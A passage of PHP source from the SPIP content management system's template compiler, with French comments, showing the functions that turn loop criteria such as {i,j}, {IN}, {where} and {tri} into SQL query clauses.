'sprintf("%04d", ($x = ' . calculer_liste($annee, array(), $boucles, $parent) . ') ? $x : date("Y"))'; $mois = $params ? array_shift($params) : ""; $mois = "\n" . 'sprintf("%02d", ($x = ' . calculer_liste($mois, array(), $boucles, $parent) . ') ? $x : date("m"))'; $jour = $params ? array_shift($params) : ""; $jour = "\n" . 'sprintf("%02d", ($x = ' . calculer_liste($jour, array(), $boucles, $parent) . ') ? $x : date("d"))'; $annee2 = $params ? array_shift($params) : ""; $annee2 = "\n" . 'sprintf("%04d", ($x = ' . calculer_liste($annee2, array(), $boucles, $parent) . ') ? $x : date("Y"))'; $mois2 = $params ? array_shift($params) : ""; $mois2 = "\n" . 'sprintf("%02d", ($x = ' . calculer_liste($mois2, array(), $boucles, $parent) . ') ? $x : date("m"))'; $jour2 = $params ? array_shift($params) : ""; $jour2 = "\n" . 'sprintf("%02d", ($x = ' . calculer_liste($jour2, array(), $boucles, $parent) . ') ? $x : date("d"))'; $date = $boucle->id_table . ".$date"; $quote_end = ",'" . $boucle->sql_serveur . "','text'"; if ($type == 'jour') { $boucle->where[] = array( "'='", "'DATE_FORMAT($date, \'%Y%m%d\')'", ("sql_quote($annee . $mois . $jour$quote_end)") ); } elseif ($type == 'mois') { $boucle->where[] = array( "'='", "'DATE_FORMAT($date, \'%Y%m\')'", ("sql_quote($annee . $mois$quote_end)") ); } elseif ($type == 'semaine') { $boucle->where[] = array( "'AND'", array( "'>='", "'DATE_FORMAT($date, \'%Y%m%d\')'", ("date_debut_semaine($annee, $mois, $jour)") ), array( "'<='", "'DATE_FORMAT($date, \'%Y%m%d\')'", ("date_fin_semaine($annee, $mois, $jour)") ) ); } elseif (count($crit->param) > 2) { $boucle->where[] = array( "'AND'", array( "'>='", "'DATE_FORMAT($date, \'%Y%m%d\')'", ("sql_quote($annee . $mois . $jour$quote_end)") ), array("'<='", "'DATE_FORMAT($date, \'%Y%m%d\')'", ("sql_quote($annee2 . $mois2 . $jour2$quote_end)")) ); } // sinon on prend tout } /** * Compile les critères {i,j} et {i/j} * * Le critère {i,j} limite l'affiche de la boucle en commançant l'itération * au i-ème élément, et pour j nombre d'éléments. * Le critère {n-i,j} limite en commençant au n moins i-ème élément de boucle * Le critère {i,n-j} limite en terminant au n moins j-ème élément de boucle. * * Le critère {i/j} affiche une part d'éléments de la boucle. * Commence à i*n/j élément et boucle n/j éléments. {2/4} affiche le second * quart des éléments d'une boucle. * * Traduit si possible (absence de n dans {i,j}) la demande en une * expression LIMIT du gestionnaire SQL * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function calculer_critere_parties($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $a1 = $crit->param[0]; $a2 = $crit->param[1]; $op = $crit->op; list($a11, $a12) = calculer_critere_parties_aux($idb, $boucles, $a1); list($a21, $a22) = calculer_critere_parties_aux($idb, $boucles, $a2); if (($op == ',') && (is_numeric($a11) && (is_numeric($a21)))) { $boucle->limit = $a11 . ',' . $a21; } else { // 3 dans {1/3}, {2,3} ou {1,n-3} $boucle->total_parties = ($a21 != 'n') ? $a21 : $a22; // 2 dans {2/3}, {2,5}, {n-2,1} $partie = ($a11 != 'n') ? $a11 : $a12; $mode = (($op == '/') ? '/' : (($a11 == 'n') ? '-' : '+') . (($a21 == 'n') ? '-' : '+')); // cas simple {0,#ENV{truc}} compilons le en LIMIT : if ($a11 !== 'n' and $a21 !== 'n' and $mode == "++" and $op == ',') { $boucle->limit = (is_numeric($a11) ? "'$a11'" : $a11) . ".','." . (is_numeric($a21) ? "'$a21'" : $a21); } else { calculer_parties($boucles, $idb, $partie, $mode); } } } /** * Compile certains critères {i,j} et {i/j} * * Calcule une expression déterminant $debut_boucle et $fin_boucle (le * début et la fin des éléments de la boucle qui doivent être affichés) * et les déclare dans la propriété «mode_partie» de la boucle, qui se * charge également de déplacer le pointeur de boucle sur le premier * élément à afficher. * * Place dans la propriété partie un test vérifiant que l'élément de * boucle en cours de lecture appartient bien à la plage autorisée. * Trop tôt, passe à l'élément suivant, trop tard, sort de l'itération de boucle. * * @param array $boucles AST du squelette * @param string $id_boucle Identifiant de la boucle * @param string $debut Valeur ou code pour trouver le début (i dans {i,j}) * @param string $mode * Mode (++, p+, +- ...) : 2 signes début & fin * - le signe - indique * -- qu'il faut soustraire debut du total {n-3,x}. 3 étant $debut * -- qu'il faut raccourcir la fin {x,n-3} de 3 elements. 3 étant $total_parties * - le signe p indique une pagination * @return void **/ function calculer_parties(&$boucles, $id_boucle, $debut, $mode) { $total_parties = $boucles[$id_boucle]->total_parties; preg_match(",([+-/p])([+-/])?,", $mode, $regs); list(, $op1, $op2) = array_pad($regs, 3, null); $nombre_boucle = "\$Numrows['$id_boucle']['total']"; // {1/3} if ($op1 == '/') { $pmoins1 = is_numeric($debut) ? ($debut - 1) : "($debut-1)"; $totpos = is_numeric($total_parties) ? ($total_parties) : "($total_parties ? $total_parties : 1)"; $fin = "ceil(($nombre_boucle * $debut )/$totpos) - 1"; $debut = !$pmoins1 ? 0 : "ceil(($nombre_boucle * $pmoins1)/$totpos);"; } else { // cas {n-1,x} if ($op1 == '-') { $debut = "$nombre_boucle - $debut;"; } // cas {x,n-1} if ($op2 == '-') { $fin = '$debut_boucle + ' . $nombre_boucle . ' - ' . (is_numeric($total_parties) ? ($total_parties + 1) : ($total_parties . ' - 1')); } else { // {x,1} ou {pagination} $fin = '$debut_boucle' . (is_numeric($total_parties) ? (($total_parties == 1) ? "" : (' + ' . ($total_parties - 1))) : ('+' . $total_parties . ' - 1')); } // {pagination}, gerer le debut_xx=-1 pour tout voir if ($op1 == 'p') { $debut .= ";\n \$debut_boucle = ((\$tout=(\$debut_boucle == -1))?0:(\$debut_boucle))"; $debut .= ";\n \$debut_boucle = max(0,min(\$debut_boucle,floor(($nombre_boucle-1)/($total_parties))*($total_parties)))"; $fin = "(\$tout ? $nombre_boucle : $fin)"; } } // Notes : // $debut_boucle et $fin_boucle sont les indices SQL du premier // et du dernier demandes dans la boucle : 0 pour le premier, // n-1 pour le dernier ; donc total_boucle = 1 + debut - fin // Utiliser min pour rabattre $fin_boucle sur total_boucle. $boucles[$id_boucle]->mode_partie = "\n\t" . '$debut_boucle = ' . $debut . ";\n " . "\$debut_boucle = intval(\$debut_boucle);\n " . '$fin_boucle = min(' . $fin . ", \$Numrows['$id_boucle']['total'] - 1);\n " . '$Numrows[\'' . $id_boucle . "']['grand_total'] = \$Numrows['$id_boucle']['total'];\n " . '$Numrows[\'' . $id_boucle . '\']["total"] = max(0,$fin_boucle - $debut_boucle + 1);' . "\n\tif (\$debut_boucle>0" . " AND \$debut_boucle < \$Numrows['$id_boucle']['grand_total']" . " AND \$iter->seek(\$debut_boucle,'continue'))" . "\n\t\t\$Numrows['$id_boucle']['compteur_boucle'] = \$debut_boucle;\n\t"; $boucles[$id_boucle]->partie = " if (\$Numrows['$id_boucle']['compteur_boucle'] <= \$debut_boucle) continue; if (\$Numrows['$id_boucle']['compteur_boucle']-1 > \$fin_boucle) break;"; } /** * Analyse un des éléments des critères {a,b} ou {a/b} * * Pour l'élément demandé (a ou b) retrouve la valeur de l'élément, * et de combien il est soustrait si c'est le cas comme dans {a-3,b} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param array $param Paramètre à analyser (soit a, soit b dans {a,b} ou {a/b}) * @return array Valeur de l'élément (peut être une expression PHP), Nombre soustrait **/ function calculer_critere_parties_aux($idb, &$boucles, $param) { if ($param[0]->type != 'texte') { $a1 = calculer_liste(array($param[0]), array('id_mere' => $idb), $boucles, $boucles[$idb]->id_parent); if (isset($param[1]->texte)) { preg_match(',^ *(-([0-9]+))? *$,', $param[1]->texte, $m); return array("intval($a1)", ((isset($m[2]) and $m[2]) ? $m[2] : 0)); } else { return array("intval($a1)", 0); } } else { preg_match(',^ *(([0-9]+)|n) *(- *([0-9]+)? *)?$,', $param[0]->texte, $m); $a1 = $m[1]; if (empty($m[3])) { return array($a1, 0); } elseif (!empty($m[4])) { return array($a1, $m[4]); } else { return array($a1, calculer_liste(array($param[1]), array(), $boucles, $boucles[$idb]->id_parent)); } } } /** * Compile les critères d'une boucle * * Cette fonction d'aiguillage cherche des fonctions spécifiques déclarées * pour chaque critère demandé, dans l'ordre ci-dessous : * * - critere_{serveur}_{table}_{critere}, sinon avec _dist * - critere_{serveur}_{critere}, sinon avec _dist * - critere_{table}_{critere}, sinon avec _dist * - critere_{critere}, sinon avec _dist * - calculer_critere_defaut, sinon avec _dist * * Émet une erreur de squelette si un critère retourne une erreur. * * @param string $idb * Identifiant de la boucle * @param array $boucles * AST du squelette * @return string|array * string : Chaine vide sans erreur * array : Erreur sur un des critères **/ function calculer_criteres($idb, &$boucles) { $msg = ''; $boucle = $boucles[$idb]; $table = strtoupper($boucle->type_requete); $serveur = strtolower($boucle->sql_serveur); $defaut = charger_fonction('DEFAUT', 'calculer_critere'); // s'il y avait une erreur de syntaxe, propager cette info if (!is_array($boucle->criteres)) { return array(); } foreach ($boucle->criteres as $crit) { $critere = $crit->op; // critere personnalise ? if ( (!$serveur or ((!function_exists($f = "critere_" . $serveur . "_" . $table . "_" . $critere)) and (!function_exists($f = $f . "_dist")) and (!function_exists($f = "critere_" . $serveur . "_" . $critere)) and (!function_exists($f = $f . "_dist")) ) ) and (!function_exists($f = "critere_" . $table . "_" . $critere)) and (!function_exists($f = $f . "_dist")) and (!function_exists($f = "critere_" . $critere)) and (!function_exists($f = $f . "_dist")) ) { // fonction critere standard $f = $defaut; } // compile le critere $res = $f($idb, $boucles, $crit); // Gestion centralisee des erreurs pour pouvoir propager if (is_array($res)) { $msg = $res; erreur_squelette($msg, $boucle); } } return $msg; } /** * Désemberlificote les guillements et échappe (ou fera échapper) le contenu... * * Madeleine de Proust, revision MIT-1958 sqq, revision CERN-1989 * hum, c'est kwoi cette fonxion ? on va dire qu'elle desemberlificote les guillemets... * * http://code.spip.net/@kwote * * @param string $lisp Code compilé * @param string $serveur Connecteur de bdd utilisé * @param string $type Type d'échappement (char, int...) * @return string Code compilé rééchappé */ function kwote($lisp, $serveur = '', $type = '') { if (preg_match(_CODE_QUOTE, $lisp, $r)) { return $r[1] . "\"" . sql_quote(str_replace(array("\\'", "\\\\"), array("'", "\\"), $r[2]), $serveur, $type) . "\""; } else { return "sql_quote($lisp, '$serveur', '" . str_replace("'", "\\'", $type) . "')"; } } /** * Compile un critère possédant l'opérateur IN : {xx IN yy} * * Permet de restreindre un champ sur une liste de valeurs tel que * {id_article IN 3,4} {id_article IN #LISTE{3,4}} * * Si on a une liste de valeurs dans #ENV{x}, utiliser la double etoile * pour faire par exemple {id_article IN #ENV**{liste_articles}} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_IN_dist($idb, &$boucles, $crit) { $r = calculer_critere_infixe($idb, $boucles, $crit); if (!$r) { return (array('zbug_critere_inconnu', array('critere' => $crit->op . " ?"))); } list($arg, $op, $val, $col, $where_complement) = $r; $in = critere_IN_cas($idb, $boucles, $crit->not ? 'NOT' : ($crit->exclus ? 'exclus' : ''), $arg, $op, $val, $col); // inserer la condition; exemple: {id_mot ?IN (66, 62, 64)} $where = $in; if ($crit->cond) { $pred = calculer_argument_precedent($idb, $col, $boucles); $where = array("'?'", $pred, $where, "''"); if ($where_complement) // condition annexe du type "AND (objet='article')" { $where_complement = array("'?'", $pred, $where_complement, "''"); } } if ($crit->exclus) { if (!preg_match(",^L[0-9]+[.],", $arg)) { $where = array("'NOT'", $where); } else // un not sur un critere de jointure se traduit comme un NOT IN avec une sous requete // c'est une sous requete identique a la requete principale sous la forme (SELF,$select,$where) avec $select et $where qui surchargent { $where = array( "'NOT'", array( "'IN'", "'" . $boucles[$idb]->id_table . "." . $boucles[$idb]->primary . "'", array("'SELF'", "'" . $boucles[$idb]->id_table . "." . $boucles[$idb]->primary . "'", $where) ) ); } } $boucles[$idb]->where[] = $where; if ($where_complement) // condition annexe du type "AND (objet='article')" { $boucles[$idb]->where[] = $where_complement; } } // http://code.spip.net/@critere_IN_cas function critere_IN_cas($idb, &$boucles, $crit2, $arg, $op, $val, $col) { static $num = array(); $descr = $boucles[$idb]->descr; $cpt = &$num[$descr['nom']][$descr['gram']][$idb]; $var = '$in' . $cpt++; $x = "\n\t$var = array();"; foreach ($val as $k => $v) { if (preg_match(",^(\n//.*\n)?'(.*)'$,", $v, $r)) { // optimiser le traitement des constantes if (is_numeric($r[2])) { $x .= "\n\t$var" . "[]= $r[2];"; } else { $x .= "\n\t$var" . "[]= " . sql_quote($r[2]) . ";"; } } else { // Pour permettre de passer des tableaux de valeurs // on repere l'utilisation brute de #ENV**{X}, // c'est-a-dire sa traduction en ($PILE[0][X]). // et on deballe mais en rajoutant l'anti XSS $x .= "\n\tif (!(is_array(\$a = ($v))))\n\t\t$var" . "[]= \$a;\n\telse $var = array_merge($var, \$a);"; } } $boucles[$idb]->in .= $x; // inserer le tri par defaut selon les ordres du IN ... // avec une ecriture de type FIELD qui degrade les performances (du meme ordre qu'un regexp) // et que l'on limite donc strictement aux cas necessaires : // si ce n'est pas un !IN, et si il n'y a pas d'autre order dans la boucle if (!$crit2) { $boucles[$idb]->default_order[] = "((!sql_quote($var) OR sql_quote($var)===\"''\") ? 0 : ('FIELD($arg,' . sql_quote($var) . ')'))"; } return "sql_in('$arg',sql_quote($var)" . ($crit2 == 'NOT' ? ",'NOT'" : "") . ")"; } /** * Compile le critère {where} * * Ajoute une contrainte sql WHERE, tout simplement pour faire le pont * entre php et squelettes, en utilisant la syntaxe attendue par * la propriété $where d'une Boucle. * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void */ function critere_where_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; if (isset($crit->param[0])) { $_where = calculer_liste($crit->param[0], array(), $boucles, $boucle->id_parent); } else { $_where = '@$Pile[0]["where"]'; } if ($crit->cond) { $_where = "(($_where) ? ($_where) : '')"; } if ($crit->not) { $_where = "array('NOT',$_where)"; } $boucle->where[] = $_where; } /** * Compile le critère `{tri}` permettant le tri dynamique d'un champ * * Le critère `{tri}` gère un champ de tri qui peut être modifié dynamiquement par la balise `#TRI`. * Il s'utilise donc conjointement avec la balise `#TRI` dans la même boucle * pour génerér les liens qui permettent de changer le critère de tri et le sens du tri * * @syntaxe `{tri [champ_par_defaut][,sens_par_defaut][,nom_variable]}` * * - champ_par_defaut : un champ de la table sql * - sens_par_defaut : -1 ou inverse pour décroissant, 1 ou direct pour croissant * peut être un tableau pour préciser des sens par défaut associés à chaque champ * exemple : `array('titre' => 1, 'date' => -1)` pour trier par défaut * les titre croissants et les dates décroissantes * dans ce cas, quand un champ est utilisé pour le tri et n'est pas présent dans le tableau * c'est la première valeur qui est utilisée * - nom_variable : nom de la variable utilisée (par defaut `tri_{nomboucle}`) * * {tri titre} * {tri titre,inverse} * {tri titre,-1} * {tri titre,-1,truc} * * Exemple d'utilisation : * * <B_articles> * <p>#TRI{titre,'Trier par titre'} | #TRI{date,'Trier par date'}</p> * <ul> * <BOUCLE_articles(ARTICLES){tri titre}> * <li>#TITRE - [(#DATE|affdate_jourcourt)]</li> * </BOUCLE_articles> * </ul> * </B_articles> * * @note * Contraitement à `{par ...}`, `{tri}` ne peut prendre qu'un seul champ, * mais il peut être complété avec `{par ...}` pour indiquer des criteres secondaires * * Exemble : * `{tri num titre}{par titre}` permet de faire un tri sur le rang (modifiable dynamiquement) * avec un second critère sur le titre en cas d'égalité des rangs * * @link http://www.spip.net/5429 * @see critere_par_dist() Le critère `{par ...}` * @see balise_TRI_dist() La balise `#TRI` * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void */ function critere_tri_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; // definition du champ par defaut $_champ_defaut = !isset($crit->param[0][0]) ? "''" : calculer_liste(array($crit->param[0][0]), array(), $boucles, $boucle->id_parent); $_sens_defaut = !isset($crit->param[1][0]) ? "1" : calculer_liste(array($crit->param[1][0]), array(), $boucles, $boucle->id_parent); $_variable = !isset($crit->param[2][0]) ? "'$idb'" : calculer_liste(array($crit->param[2][0]), array(), $boucles, $boucle->id_parent); $_tri = "((\$t=(isset(\$Pile[0]['tri'.$_variable]))?\$Pile[0]['tri'.$_variable]:((strncmp($_variable,'session',7)==0 AND session_get('tri'.$_variable))?session_get('tri'.$_variable):$_champ_defaut))?tri_protege_champ(\$t):'')"; $_sens_defaut = "(is_array(\$s=$_sens_defaut)?(isset(\$s[\$st=$_tri])?\$s[\$st]:reset(\$s)):\$s)"; $_sens = "((intval(\$t=(isset(\$Pile[0]['sens'.$_variable]))?\$Pile[0]['sens'.$_variable]:((strncmp($_variable,'session',7)==0 AND session_get('sens'.$_variable))?session_get('sens'.$_variable):$_sens_defaut))==-1 OR \$t=='inverse')?-1:1)"; $boucle->modificateur['tri_champ'] = $_tri; $boucle->modificateur['tri_sens'] = $_sens; $boucle->modificateur['tri_nom'] = $_variable; // faut il inserer un test sur l'existence de $tri parmi les champs de la table ? // evite des erreurs sql, mais peut empecher des tri sur jointure ... $boucle->hash .= " \$senstri = ''; \$tri = $_tri; if (\$tri){ \$senstri = $_sens; \$senstri = (\$senstri<0)?' DESC':''; }; "; $boucle->select[] = "\".tri_champ_select(\$tri).\""; $boucle->order[] = "tri_champ_order(\$tri,\$command['from']).\$senstri"; } # Criteres de comparaison /** * Compile un critère non déclaré explicitement * * Compile les critères non déclarés, ainsi que les parties de boucles * avec les critères {0,1} ou {1/2} * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function calculer_critere_DEFAUT_dist($idb, &$boucles, $crit) { // double cas particulier {0,1} et {1/2} repere a l'analyse lexicale if (($crit->op == ",") or ($crit->op == '/')) { return calculer_critere_parties($idb, $boucles, $crit); } $r = calculer_critere_infixe($idb, $boucles, $crit); if (!$r) { # // on produit une erreur seulement si le critere n'a pas de '?' # if (!$crit->cond) { return (array('zbug_critere_inconnu', array('critere' => $crit->op))); # } } else { calculer_critere_DEFAUT_args($idb, $boucles, $crit, $r); } } /** * Compile un critère non déclaré explicitement, dont on reçoit une analyse * * Ajoute en fonction des arguments trouvés par calculer_critere_infixe() * les conditions WHERE à appliquer sur la boucle. * * @see calculer_critere_infixe() * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @param array $args Description du critère * Cf. retour de calculer_critere_infixe() * @return void **/ function calculer_critere_DEFAUT_args($idb, &$boucles, $crit, $args) { list($arg, $op, $val, $col, $where_complement) = $args; $where = array("'$op'", "'$arg'", $val[0]); // inserer la negation (cf !...) if ($crit->not) { $where = array("'NOT'", $where); } if ($crit->exclus) { if (!preg_match(",^L[0-9]+[.],", $arg)) { $where = array("'NOT'", $where); } else // un not sur un critere de jointure se traduit comme un NOT IN avec une sous requete // c'est une sous requete identique a la requete principale sous la forme (SELF,$select,$where) avec $select et $where qui surchargent { $where = array( "'NOT'", array( "'IN'", "'" . $boucles[$idb]->id_table . "." . $boucles[$idb]->primary . "'", array("'SELF'", "'" . $boucles[$idb]->id_table . "." . $boucles[$idb]->primary . "'", $where) ) ); } } // inserer la condition (cf {lang?}) // traiter a part la date, elle est mise d'office par SPIP, if ($crit->cond) { $pred = calculer_argument_precedent($idb, $col, $boucles); if ($col == "date" or $col == "date_redac") { if ($pred == "\$Pile[0]['" . $col . "']") { $pred = "(\$Pile[0]['{$col}_default']?'':$pred)"; } } if ($op == '=' and !$crit->not) { $where = array( "'?'", "(is_array($pred))", critere_IN_cas($idb, $boucles, 'COND', $arg, $op, array($pred), $col), $where ); } $where = array("'?'", "!(is_array($pred)?count($pred):strlen($pred))", "''", $where); if ($where_complement) // condition annexe du type "AND (objet='article')" { $where_complement = array("'?'", "!(is_array($pred)?count($pred):strlen($pred))", "''", $where_complement); } } $boucles[$idb]->where[] = $where; if ($where_complement) // condition annexe du type "AND (objet='article')" { $boucles[$idb]->where[] = $where_complement; } } /** * Décrit un critère non déclaré explicitement * * Décrit un critère non déclaré comme {id_article} {id_article>3} en * retournant un tableau de l'analyse si la colonne (ou l'alias) existe vraiment. * * Ajoute au passage pour chaque colonne utilisée (alias et colonne véritable) * un modificateur['criteres'][colonne]. * * S'occupe de rechercher des exceptions, tel que * - les id_parent, id_enfant, id_secteur, * - des colonnes avec des exceptions déclarées, * - des critères de date (jour_relatif, ...), * - des critères sur tables jointes explicites (mots.titre), * - des critères sur tables de jointure non explicite (id_mot sur une boucle articles...) * * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return array|string * Liste si on trouve le champ : * - string $arg * Opérande avant l'opérateur : souvent la colonne d'application du critère, parfois un calcul * plus complexe dans le cas des dates. * - string $op * L'opérateur utilisé, tel que '=' * - string[] $val * Liste de codes PHP obtenant les valeurs des comparaisons (ex: id_article sur la boucle parente) * Souvent (toujours ?) un tableau d'un seul élément. * - $col_alias * - $where_complement * * Chaîne vide si on ne trouve pas le champ... **/ function calculer_critere_infixe($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $type = $boucle->type_requete; $table = $boucle->id_table; $desc = $boucle->show; $col_vraie = null; list($fct, $col, $op, $val, $args_sql) = calculer_critere_infixe_ops($idb, $boucles, $crit); $col_alias = $col; $where_complement = false; // Cas particulier : id_enfant => utiliser la colonne id_objet if ($col == 'id_enfant') { $col = $boucle->primary; } // Cas particulier : id_parent => verifier les exceptions de tables if ((in_array($col, array('id_parent', 'id_secteur')) and isset($GLOBALS['exceptions_des_tables'][$table][$col])) or (isset($GLOBALS['exceptions_des_tables'][$table][$col]) and is_string($GLOBALS['exceptions_des_tables'][$table][$col])) ) { $col = $GLOBALS['exceptions_des_tables'][$table][$col]; } // et possibilite de gerer un critere secteur sur des tables de plugins (ie forums) else { if (($col == 'id_secteur') and ($critere_secteur = charger_fonction("critere_secteur_$type", "public", true))) { $table = $critere_secteur($idb, $boucles, $val, $crit); } // cas id_article=xx qui se mappe en id_objet=xx AND objet=article // sauf si exception declaree : sauter cette etape else { if ( !isset($GLOBALS['exceptions_des_jointures'][table_objet_sql($table)][$col]) and !isset($GLOBALS['exceptions_des_jointures'][$col]) and count(trouver_champs_decomposes($col, $desc)) > 1 ) { $e = decompose_champ_id_objet($col); $col = array_shift($e); $where_complement = primary_doublee($e, $table); } // Cas particulier : expressions de date else { if ($c = calculer_critere_infixe_date($idb, $boucles, $col)) { list($col, $col_vraie) = $c; $table = ''; } // table explicitée {mots.titre} else { if (preg_match('/^(.*)\.(.*)$/', $col, $r)) { list(, $table, $col) = $r; $col_alias = $col; $trouver_table = charger_fonction('trouver_table', 'base'); if ($desc = $trouver_table($table, $boucle->sql_serveur) and isset($desc['field'][$col]) and $cle = array_search($desc['table'], $boucle->from) ) { $table = $cle; } else { $table = trouver_jointure_champ($col, $boucle, array($table), ($crit->cond or $op != '=')); } #$table = calculer_critere_externe_init($boucle, array($table), $col, $desc, ($crit->cond OR $op!='='), true); if (!$table) { return ''; } } // si le champ n'est pas trouvé dans la table, // on cherche si une jointure peut l'obtenir elseif (@!array_key_exists($col, $desc['field'])) { // Champ joker * des iterateurs DATA qui accepte tout if (@array_key_exists('*', $desc['field'])) { $desc['field'][$col_vraie ? $col_vraie : $col] = ''; // on veut pas de cast INT par defaut car le type peut etre n'importe quoi dans les boucles DATA } else { $r = calculer_critere_infixe_externe($boucle, $crit, $op, $desc, $col, $col_alias, $table); if (!$r) { return ''; } list($col, $col_alias, $table, $where_complement, $desc) = $r; } } } } } } $col_vraie = ($col_vraie ? $col_vraie : $col); // Dans tous les cas, // virer les guillemets eventuels autour d'un int (qui sont refuses par certains SQL) // et passer dans sql_quote avec le type si connu // et int sinon si la valeur est numerique // sinon introduire le vrai type du champ si connu dans le sql_quote (ou int NOT NULL sinon) // Ne pas utiliser intval, PHP tronquant les Bigint de SQL if ($op == '=' or in_array($op, $GLOBALS['table_criteres_infixes'])) { $type_cast_quote = (isset($desc['field'][$col_vraie]) ? $desc['field'][$col_vraie] : 'int NOT NULL'); // defaire le quote des int et les passer dans sql_quote avec le bon type de champ si on le connait, int sinon // prendre en compte le debug ou la valeur arrive avec un commentaire PHP en debut if (preg_match(",^\\A(\s*//.*?$\s*)?\"'(-?\d+)'\"\\z,ms", $val[0], $r)) { $val[0] = $r[1] . '"' . sql_quote($r[2], $boucle->sql_serveur, $type_cast_quote) . '"'; } // sinon expliciter les // sql_quote(truc) en sql_quote(truc,'',type) // sql_quote(truc,serveur) en sql_quote(truc,serveur,type) // sql_quote(truc,serveur,'') en sql_quote(truc,serveur,type) // sans toucher aux // sql_quote(truc,'','varchar(10) DEFAULT \'oui\' COLLATE NOCASE') // sql_quote(truc,'','varchar') elseif (preg_match('/\Asql_quote[(](.*?)(,[^)]*?)?(,[^)]*(?:\(\d+\)[^)]*)?)?[)]\s*\z/ms', $val[0], $r) // si pas deja un type and (!isset($r[3]) or !$r[3] or !trim($r[3],", '")) ) { $r = $r[1] . ((isset($r[2]) and $r[2]) ? $r[2] : ",''") . ",'" . addslashes($type_cast_quote) . "'"; $val[0] = "sql_quote($r)"; } elseif(strpos($val[0], '@@defaultcast@@') !== false and preg_match("/'@@defaultcast@@'\s*\)\s*\z/ms", $val[0], $r)) { $val[0] = substr($val[0], 0, -strlen($r[0])) . "'" . addslashes($type_cast_quote) . "')"; } } if(strpos($val[0], '@@defaultcast@@') !== false and preg_match("/'@@defaultcast@@'\s*\)\s*\z/ms", $val[0], $r)) { $val[0] = substr($val[0], 0, -strlen($r[0])) . "'char')"; } // Indicateur pour permettre aux fonctionx boucle_X de modifier // leurs requetes par defaut, notamment le champ statut // Ne pas confondre champs de la table principale et des jointures if ($table === $boucle->id_table) { $boucles[$idb]->modificateur['criteres'][$col_vraie] = true; if ($col_alias != $col_vraie) { $boucles[$idb]->modificateur['criteres'][$col_alias] = true; } } // ajout pour le cas special d'une condition sur le champ statut: // il faut alors interdire a la fonction de boucle // de mettre ses propres criteres de statut // http://www.spip.net/@statut (a documenter) // garde pour compatibilite avec code des plugins anterieurs, mais redondant avec la ligne precedente if ($col == 'statut') { $boucles[$idb]->statut = true; } // inserer le nom de la table SQL devant le nom du champ if ($table) { if ($col[0] == "`") { $arg = "$table." . substr($col, 1, -1); } else { $arg = "$table.$col"; } } else { $arg = $col; } // inserer la fonction SQL if ($fct) { $arg = "$fct($arg$args_sql)"; } return array($arg, $op, $val, $col_alias, $where_complement); } /** * Décrit un critère non déclaré explicitement, sur un champ externe à la table * * Décrit un critère non déclaré comme {id_article} {id_article>3} qui correspond * à un champ non présent dans la table, et donc à retrouver par jointure si possible. * * @param Boucle $boucle Description de la boucle * @param Critere $crit Paramètres du critère dans cette boucle * @param string $op L'opérateur utilisé, tel que '=' * @param array $desc Description de la table * @param string $col Nom de la colonne à trouver (la véritable) * @param string $col_alias Alias de la colonne éventuel utilisé dans le critère ex: id_enfant * @param string $table Nom de la table SQL de la boucle * @return array|string * Liste si jointure possible : * - string $col * - string $col_alias * - string $table * - array $where * - array $desc * * Chaîne vide si on ne trouve pas le champ par jointure... **/ function calculer_critere_infixe_externe($boucle, $crit, $op, $desc, $col, $col_alias, $table) { $where = ''; $calculer_critere_externe = 'calculer_critere_externe_init'; // gestion par les plugins des jointures tordues // pas automatiques mais necessaires $table_sql = table_objet_sql($table); if (isset($GLOBALS['exceptions_des_jointures'][$table_sql]) and is_array($GLOBALS['exceptions_des_jointures'][$table_sql]) and ( isset($GLOBALS['exceptions_des_jointures'][$table_sql][$col]) or isset($GLOBALS['exceptions_des_jointures'][$table_sql]['']) ) ) { $t = $GLOBALS['exceptions_des_jointures'][$table_sql]; $index = isset($t[$col]) ? $t[$col] : (isset($t['']) ? $t[''] : array()); if (count($index) == 3) { list($t, $col, $calculer_critere_externe) = $index; } elseif (count($index) == 2) { list($t, $col) = $t[$col]; } elseif (count($index) == 1) { list($calculer_critere_externe) = $index; $t = $table; } else { $t = ''; } // jointure non declaree. La trouver. } elseif (isset($GLOBALS['exceptions_des_jointures'][$col])) { list($t, $col) = $GLOBALS['exceptions_des_jointures'][$col]; } else { $t = ''; } // jointure non declaree. La trouver. // ici on construit le from pour fournir $col en piochant dans les jointures // si des jointures explicites sont fournies, on cherche d'abord dans celles ci // permet de forcer une table de lien quand il y a ambiguite // <BOUCLE_(DOCUMENTS documents_liens){id_mot}> // alors que <BOUCLE_(DOCUMENTS){id_mot}> produit la meme chose que <BOUCLE_(DOCUMENTS mots_liens){id_mot}> $table = ""; if ($boucle->jointures_explicites) { $jointures_explicites = explode(' ', $boucle->jointures_explicites); $table = $calculer_critere_externe($boucle, $jointures_explicites, $col, $desc, ($crit->cond or $op != '='), $t); } // et sinon on cherche parmi toutes les jointures declarees if (!$table) { $table = $calculer_critere_externe($boucle, $boucle->jointures, $col, $desc, ($crit->cond or $op != '='), $t); } if (!$table) { return ''; } // il ne reste plus qu'a trouver le champ dans les from list($nom, $desc, $cle) = trouver_champ_exterieur($col, $boucle->from, $boucle); if (count($cle) > 1 or reset($cle) !== $col) { $col_alias = $col; // id_article devient juste le nom d'origine if (count($cle) > 1 and reset($cle) == 'id_objet') { $e = decompose_champ_id_objet($col); $col = array_shift($e); $where = primary_doublee($e, $table); } else { $col = reset($cle); } } return array($col, $col_alias, $table, $where, $desc); } /** * Calcule une condition WHERE entre un nom du champ et une valeur * * Ne pas appliquer sql_quote lors de la compilation, * car on ne connait pas le serveur SQL * * @todo Ce nom de 